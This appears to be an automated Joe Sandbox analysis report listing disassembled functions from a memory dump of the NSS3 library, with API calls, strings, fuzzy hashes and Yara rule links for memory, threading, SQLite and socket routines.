Opcode Fuzzy Hash: 28a28ffd624c4a67a86148dcae4591b0f859c2772a3e5429419624c06d1dafbc
Instruction Fuzzy Hash: B401C867B0811057E701916CAC85AEF31998F8765EF084431E90AD7F53F616DD0E52EF

Function 6C70BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C707AFE,?,?,?,?,?,?,?,?,6C70798A), ref: 6C70BDC3
free.MOZGLUE(?,?,6C707AFE,?,?,?,?,?,?,?,?,6C70798A), ref: 6C70BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C707AFE,?,?,?,?,?,?,?,?,6C70798A), ref: 6C70BDE9
free.MOZGLUE(?,00000000,00000000,?,6C707AFE,?,?,?,?,?,?,?,?,6C70798A), ref: 6C70BE21
free.MOZGLUE(00000000,00000000,?,6C707AFE,?,?,?,?,?,?,?,?,6C70798A), ref: 6C70BE32

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: fabef605f7dbbdd0211c52dcaa595c1c9b5a2ed87b27b713319604619abcf0a5
Instruction ID: a55e61c79c6f66d2cd5cf876b11d97ef281c94ec2bbc6cfa9e8a9fffb3f4fac0
Opcode Fuzzy Hash: fabef605f7dbbdd0211c52dcaa595c1c9b5a2ed87b27b713319604619abcf0a5
Instruction Fuzzy Hash: 9011D6B5B022009FDF80DF69D949B063BF9BB4A359B94047AD50E87710EF31A918CBA1

Function 6C653E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C653975), ref: 6C653E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C653975), ref: 6C653E38

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C653975), ref: 6C653E52
DeleteFileW.KERNEL32(00000000), ref: 6C653E5D
free.MOZGLUE(00000000), ref: 6C653E64

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 0e4c24e6287f3bfdd69a928ffe4fb677cbf57a902c537df7a53b1f26a35c136a
Instruction ID: 3abb9aa6684f095d85b014082c8d7e3c502692da2dae64c7907b18b707bd5cd2
Opcode Fuzzy Hash: 0e4c24e6287f3bfdd69a928ffe4fb677cbf57a902c537df7a53b1f26a35c136a
Instruction Fuzzy Hash: ABF054B53061123BFA1036796C49E37359CDB43EBEB640676BE29C55C1E940CC258275

Function 6C707C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C707C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C707C83
malloc.MOZGLUE(00000001), ref: 6C707C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C707C9F
PR_GetCurrentThread.NSS3 ref: 6C707CAD

Part of subcall function 6C6B9BF0: TlsGetValue.KERNEL32(?,?,?,6C700A75), ref: 6C6B9C07

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: f070daa9f4a2bc429c9cc14dd21d6da9ae8e69626fc367665318edcb83119edf
Instruction ID: 0255a7347a1ef978ede222ce639b162b0a489976616898f8b715ff57ab1e9197
Opcode Fuzzy Hash: f070daa9f4a2bc429c9cc14dd21d6da9ae8e69626fc367665318edcb83119edf
Instruction Fuzzy Hash: 8EF0C2F1A102067BEB009F3A9D0994777ACEF02269B01883AE809C3B00E730E114CBE9

Function 6C70ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C70A6D8), ref: 6C70AE0D
free.MOZGLUE(?), ref: 6C70AE14
DeleteCriticalSection.KERNEL32(6C70A6D8), ref: 6C70AE36
free.MOZGLUE(?), ref: 6C70AE3D
free.MOZGLUE(00000000,00000000,?,?,6C70A6D8), ref: 6C70AE47

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 4c057f2d869049a3ca1ea497726682f4916043f55d4ec9353fe81408e11e7ed2
Instruction ID: 4d4278530fcf3f2efd5aefe18d898be81aae5c6d5d3e8a5e68d9aa0b9f3a9ce5
Opcode Fuzzy Hash: 4c057f2d869049a3ca1ea497726682f4916043f55d4ec9353fe81408e11e7ed2
Instruction Fuzzy Hash: 2BF096B5301A01A7CA10AF68D90995777BCBF867BAB14433DE52A83940D731E119C7D5

Function 6C58BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C72AAF9,?), ref: 6C58BE37

Strings

pl, xrefs: 6C58BDD7
winFileSize, xrefs: 6C58BF07
Ppl, xrefs: 6C58BED4

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: pl$Ppl$winFileSize
API String ID: 4246442610-2989068760
Opcode ID: 94d0b21992373fd6c5deaa7972da939e91c830396a2195d24c35cbd7a965ee50
Instruction ID: fc7695d91362f1b191ba530bb6d91424b8f4699d7217d4b6c9c7701e7fa085db
Opcode Fuzzy Hash: 94d0b21992373fd6c5deaa7972da939e91c830396a2195d24c35cbd7a965ee50
Instruction Fuzzy Hash: AA61AF31A06625EFDB04EF28CC90B69B7F9FF4A314B148AA5D8158BB40D730E956CBD1

Function 6C5888D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C588990

Strings

@zYl, xrefs: 6C588A31

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memset
String ID: @zYl
API String ID: 2221118986-3427508681
Opcode ID: a21defab78b15e6fd80da77e32278421e936a3541c79c48b993b94e9ef496cd9
Instruction ID: 873c262cf507b9da281357131bd2335ed3d838b16d14b8d7984b955a635f69b2
Opcode Fuzzy Hash: a21defab78b15e6fd80da77e32278421e936a3541c79c48b993b94e9ef496cd9
Instruction Fuzzy Hash: 2651E371A057919FC704CF24C9946A6BBF0BF59308B24969EC8884BB02D331F596CBE2

Function 6C597C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C597D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C597D13, 6C597D1F, 6C597D47, 6C597D53, 6C597D5F
%s at line %d of [%.10s], xrefs: 6C597D2E
database corruption, xrefs: 6C597D29

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 12e51b76cce57185d102f4878bd410847ad4951cf72273c36eaa8d2e44f4ee94
Instruction ID: a03fc2c3943e422673f88713e5dba98e73ca37be94698f91078871fb4428efbc
Opcode Fuzzy Hash: 12e51b76cce57185d102f4878bd410847ad4951cf72273c36eaa8d2e44f4ee94
Instruction Fuzzy Hash: B4311231E0437997C710CF9ECD809BEB7F5AF88345B5905A6E448BBB86D271E941C7A0

Function 6C586C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C586D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C586D20
%s at line %d of [%.10s], xrefs: 6C586D2F
database corruption, xrefs: 6C586D2A

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 4bcb41de1261ccdf0cb0c8619bca4201d956de9960a3b99290770ec8032a164b
Instruction ID: 262b224e2433bb679390e4d4416b68c5fe65483c4463776c9a2a0996f205b78b
Opcode Fuzzy Hash: 4bcb41de1261ccdf0cb0c8619bca4201d956de9960a3b99290770ec8032a164b
Instruction Fuzzy Hash: A8210230616314DBC720CE19CC41B5AB7F6AF80308F148928D8499BF51EB71F98487A2

Function 6C662FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+fl,6C6632C2,<+fl,00000000,00000000,?), ref: 6C662FDA

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C66300B

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C66302A

Part of subcall function 6C650840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6508B4

Part of subcall function 6C63C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C63C45D
Part of subcall function 6C63C3D0: TlsGetValue.KERNEL32 ref: 6C63C494
Part of subcall function 6C63C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C63C4A9
Part of subcall function 6C63C3D0: PR_Unlock.NSS3(?), ref: 6C63C4F4

Strings

<+fl, xrefs: 6C662FD0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+fl
API String ID: 2538134263-3624063062
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 627efcebed415db3ed117231e0ed749ae04e5bb879a5955892055f8ff71ecb5e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 2711A7B6B001046BDB008E65DC01A9B77D99F8576CF284134F91CD7B81E772ED19C7A5

Function 6C6BCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6BCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6BCC7B), ref: 6C6BCD7A
Part of subcall function 6C6BCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6BCD8E
Part of subcall function 6C6BCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6BCDA5
Part of subcall function 6C6BCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6BCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6BCCB5
memcpy.VCRUNTIME140(6C7514F4,6C7502AC,00000090), ref: 6C6BCCD3
memcpy.VCRUNTIME140(6C751588,6C7502AC,00000090), ref: 6C6BCD2B

Part of subcall function 6C5D9AC0: socket.WSOCK32(?,00000017,6C5D99BE), ref: 6C5D9AE6
Part of subcall function 6C5D9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5D99BE), ref: 6C5D9AFC

Part of subcall function 6C5E0590: closesocket.WSOCK32(6C5D9A8F,?,?,6C5D9A8F,00000000), ref: 6C5E0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6BCCB0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 50dfae62cd0e316e8cc59c6e143f23ff454c6a6b36d429cdce4ab59af8ee71da
Instruction ID: 12906f17d3def431ae021d18757ccd813c00c070251c9ca7a56511c65ac75a1b
Opcode Fuzzy Hash: 50dfae62cd0e316e8cc59c6e143f23ff454c6a6b36d429cdce4ab59af8ee71da
Instruction Fuzzy Hash: A811B6F2B00240AFEB009F698E07B423AF8939631AF941139F51ADBB45EF71D9148BD5

Function 6C608850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C610715), ref: 6C608859
PR_NewLock.NSS3 ref: 6C608874

Part of subcall function 6C6B98D0: calloc.MOZGLUE(00000001,00000084,6C5E0936,00000001,?,6C5E102C), ref: 6C6B98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C60888D

Strings

NSS, xrefs: 6C608887

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 60f8173307d9a1f48b5e174d2fdccea276ae02c4dfbfc4c5b1f51d8ca1937d46
Instruction ID: 73418ec0d14118305afd3aee1ea1b432376245342fbdfb3363d36378968f363b
Opcode Fuzzy Hash: 60f8173307d9a1f48b5e174d2fdccea276ae02c4dfbfc4c5b1f51d8ca1937d46
Instruction Fuzzy Hash: B8F0F662F8162023F21062686E06B862598AF5675EF044036E90CB3B82EA51D51883FE

Function 6C661D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C661D8F

Part of subcall function 6C6514C0: TlsGetValue.KERNEL32 ref: 6C6514E0
Part of subcall function 6C6514C0: EnterCriticalSection.KERNEL32 ref: 6C6514F5
Part of subcall function 6C6514C0: PR_Unlock.NSS3 ref: 6C65150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C661DA6

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C661E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C661ED0

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: a4d430112f92fa88d8d65cb691dfd84c1200b5a8fe05d7cd6f1343c4b34cdb25
Instruction ID: a0327df9f61c9da70a426eb84a9322a3ee68af0cc178d6407f37e511adc0417d
Opcode Fuzzy Hash: a4d430112f92fa88d8d65cb691dfd84c1200b5a8fe05d7cd6f1343c4b34cdb25
Instruction Fuzzy Hash: E5516A75A00309DFDB00CF99C884BAEB7B6BF49318F248129E8199BB50D731E946CB95

Function 6C6B4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5985D2,00000000,?,?), ref: 6C6B4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B50D6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 371b7a233e63da3a65c7560e0d5e891cb9f0ed99e0c8fdd9fb158ac560ea352f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 17417FB2A002158FCB18CF18DCD179AB7E1BF4831871D4669D84ADBB02E375E891CB95

Function 6C70A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C70A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C70A662), ref: 6C70A69E
Part of subcall function 6C70A690: PR_NewCondVar.NSS3(?), ref: 6C70A6B4

PR_IntervalNow.NSS3 ref: 6C70A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C70A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C70A944
PR_SetPollableEvent.NSS3(?), ref: 6C70A94F

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: d4a8b8d0f432e36372904f7ec16a51a20ae6094722f92a73c1e82a0f88ae654b
